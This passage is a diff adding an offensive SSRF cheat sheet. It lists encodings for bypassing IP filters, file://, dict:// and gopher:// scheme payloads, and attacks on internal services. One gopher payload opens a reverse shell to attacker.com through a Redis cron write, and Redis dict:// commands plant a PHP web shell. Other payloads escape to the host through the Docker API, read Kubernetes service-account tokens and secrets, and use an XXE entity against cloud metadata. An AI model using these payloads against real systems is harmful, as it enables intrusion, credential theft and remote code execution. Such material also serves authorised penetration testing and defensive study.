+ file:///var/run/secrets/kubernetes.io/serviceaccount/token
157
+ file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
158
+ http://kubernetes.default.svc/api/v1/namespaces/default/secrets
159
+ ```
160
+
161
+ ---
162
+
163
+ ## 4. IP ADDRESS FILTER BYPASS TECHNIQUES
164
+
165
+ When `169.254.169.254`, `127.0.0.1`, `localhost` are blocked:
166
+
167
+ ### Localhost Variants
168
+ ```
169
+ 127.0.0.1
170
+ 127.1
171
+ 127.0.1
172
+ 127.000.000.001 ← octal padding
173
+ 0x7f000001 ← hex
174
+ 2130706433 ← decimal (0x7f000001)
175
+ 0177.0000.0000.0001 ← octal
176
+ [::] ← IPv6 loopback
177
+ [::1] ← IPv6 loopback
178
+ [::ffff:127.0.0.1] ← IPv4-mapped IPv6
179
+ ```
180
+
181
+ ### 169.254.169.254 Variants
182
+ ```
183
+ 169.254.169.254
184
+ 2852039166 ← decimal
185
+ 0xa9fea9fe ← hex
186
+ 0251.0376.0251.0376 ← octal
187
+ [::ffff:169.254.169.254] ← IPv6
188
+ 169.254.169.254.nip.io ← DNS rebinding service
189
+ ```
190
+
191
+ ### Private Network Ranges
192
+ ```
193
+ 10.0.0.0/8
194
+ 172.16.0.0/12
195
+ 192.168.0.0/16
196
+ fc00::/7 ← IPv6 private
197
+ ```
198
+
199
+ ### Bypass Filter via DNS Input
200
+ If filter checks DNS-resolved IP (not hostname):
201
+ ```
202
+ http://attacker.com/ ← DNS A record points to 169.254.169.254
203
+ ```
204
+ Use DNS rebinding: initial lookup returns valid IP → passes filter → second request returns internal IP.
205
+
206
+ ---
207
+
208
+ ## 5. URL SCHEME ATTACKS
209
+
210
+ When `http://` is allowed or weakly filtered:
211
+
212
+ ```
213
+ file:///etc/passwd
214
+ file:///proc/self/environ
215
+ file:///proc/net/arp ← reveals internal network ARP table
216
+ file:///proc/net/tcp ← open network connections
217
+
218
+ dict://127.0.0.1:6379/INFO ← Redis INFO command via dict://
219
+
220
+ gopher://127.0.0.1:6379/_INFO%0d%0a ← Redis via gopher
221
+ gopher://127.0.0.1:9200/ ← Elasticsearch
222
+
223
+ sftp://attacker.com:11111/ ← triggers SFTP connection (credential hash)
224
+ ldap://attacker.com:389/ ← triggers LDAP bind
225
+ ftp://attacker.com/ ← triggers FTP connection
226
+ ```
227
+
228
+ ### Redis Gopher SSRF (full RCE potential)
229
+ ```
230
+ gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
231
+ ```
232
+
233
+ ---
234
+
235
+ ## 6. BLIND SSRF DETECTION
236
+
237
+ When response doesn't reflect fetched content:
238
+
239
+ 1. **Burp Collaborator / interact.sh**: check for DNS + HTTP request from server
240
+ 2. **Pingback/webhook abuse**: configure application's own webhook to your URL
241
+ 3. **Timing analysis**: Internal open port vs closed port response time difference
242
+ 4. **Error analysis**: Different error messages for "host not found" vs "connection refused" vs "timeout" reveal internal network topology
243
+
244
+ ---
245
+
246
+ ## 7. INTERNAL SERVICE EXPLOITATION
247
+
248
+ ### Docker API (2375 unauthenticated)
249
+ ```
250
+ http://127.0.0.1:2375/v1.24/containers/json ← list containers
251
+ http://127.0.0.1:2375/v1.24/images/json ← list images
252
+ # Create privileged container → escape to host:
253
+ POST http://127.0.0.1:2375/v1.24/containers/create
254
+ {"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
255
+ ```
256
+
257
+ ### Elasticsearch (9200 no-auth default)
258
+ ```
259
+ http://127.0.0.1:9200/_cat/indices
260
+ http://127.0.0.1:9200/.kibana/_search
261
+ http://127.0.0.1:9200/INDEX_NAME/_search?q=*
262
+ ```
263
+
264
+ ### Redis (6379 — no-auth common)
265
+ ```
266
+ dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
267
+ dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
268
+ dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
269
+ dict://127.0.0.1:6379/BGSAVE
270
+ ```
271
+
272
+ ### Internal Admin Panels
273
+ ```
274
+ http://127.0.0.1:8080/admin
275
+ http://127.0.0.1:8443/admin
276
+ http://127.0.0.1:9000/actuator ← Spring Boot actuator (exposed endpoints)
277
+ http://127.0.0.1:9000/actuator/env
278
+ http://127.0.0.1:9000/actuator/heapdump
279
+ ```
280
+
281
+ ---
282
+
283
+ ## 8. SSRF + FILTER BYPASS DECISION TREE
284
+
285
+ ```
286
+ SSRF parameter found?
287
+ ├── Try http://169.254.169.254/ directly → blocked?
288
+ │ ├── Try decimal/hex/octal variants
289
+ │ ├── Try IPv6 variants [::ffff:169.254.169.254]
290
+ │ ├── Try DNS rebinding (nip.io, custom NS)
291
+ │ └── Try redirect: attacker.com → 169.254.169.254 (302)
292
+
293
+ ├── Try http://127.0.0.1/ → blocked?
294
+ │ ├── Try 127.1 / 127.0.1 / 0x7f000001 / 2130706433
295
+ │ ├── Try localhost → might not be blocked
296
+ │ └── Try IPv6 [::1]
297
+
298
+ ├── What protocols are allowed?
299
+ │ ├── dict:// → test Redis, Memcached
300
+ │ ├── gopher:// → full TCP data injection (target Redis/SMTP)
301
+ │ ├── file:// → local file read
302
+ │ └── sftp:// ldap:// ftp:// → network interactions
303
+
304
+ └── Blind SSRF → use Burp Collaborator
305
+ └── DNS-only → use DNS rebinding or SSRF with OOB DNS
306
+ ```
307
+
308
+ ---
309
+
310
+ ## 9. THE SSRF-FILTER MINDSET
311
+
312
+ From zseano's methodology: **if developers filter only `169.254.169.254` directly but not `http://169.254.169.254/latest/meta-data`** (full path), or forget about:
313
+ - IPv6 equivalents
314
+ - DNS names that resolve to internal IPs
315
+ - Redirect chains (server follows 302 to internal IP)
316
+
317
+ **Classic gap**: App filters `127.0.0.1` but not `127.1` or `[::1]` or `localhost`.
318
+
319
+ **Application-layer SSRF via XML** (when app parses XML):
320
+ ```xml
321
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
322
+ <request>&xxe;</request>
323
+ ```